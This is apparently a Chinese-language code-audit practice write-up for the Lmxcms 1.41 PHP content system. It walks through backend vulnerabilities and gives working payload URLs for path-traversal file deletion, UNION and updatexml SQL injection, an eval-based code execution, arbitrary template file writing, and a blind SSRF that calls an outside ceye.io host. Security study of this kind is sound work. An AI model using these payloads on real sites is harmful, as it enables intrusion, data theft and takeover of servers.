Php审计练习 Lmxcms1.41
安装
http://127.0.0.1/index.php?m=类前缀&a=类内方法
url基本就是这样的
web根目录放了一个Index.php和一个admin.php,他们分别定义了RUN_TYPE,又分别包含了run.inc.php,如果是从admin.php进,就是后台的那一套方法
后台任意文件删除
漏洞位置:BackdbAction.class.php
这个删除行为没有做任何鉴权,只要登录了后台就可以进行操作
跟进delOne方法,它直接拼接了,没有采取任何过滤
甚至可以跨目录删除 /admin.php?m=Backdb&a=delbackdb&filename=../flag.txt
接下来再看另一个批量删除delmorebackdb方法
filename换成数组post传过去就行了
后台SQL注入
漏洞位置:AcquisiAction.class.php
cid的值会被拼接到where后面进行sql执行
跟进where函数
http://localhost/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1)
http://localhost/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=-1 union select 1,2,3,4,database(),6,7-- -
后台代码执行
漏洞位置:AcquisiAction.class.php
存在SQL注入 代码执行
showCjData中lid和id只要存在就行,cid对应lmx_cj_data内的id字段
在表内加入这条数据
eval(‘$data=1;phpinfo();//‘)
访问
/admin.php?m=Acquisi&a=showCjData&cid=1&lid=3&id=1
后台任意文件写入
**漏洞位置:**TemplateAction.class.php
poc如下
定位到这里
跟进put方法,未作过滤
dir控制上传的位置,filename和temcontent分别控制文件名和内容
它也可以覆盖文件
后台无回显ssrf漏洞
漏洞位置:/c/admin/AcquisiAction.class.php
GET /admin.php?m=Acquisi&a=testListContentUrl&listurl=http://t6n089.ceye.io
一直跟进,没有任何过滤,最后好像是通过php内置的curl进行http请求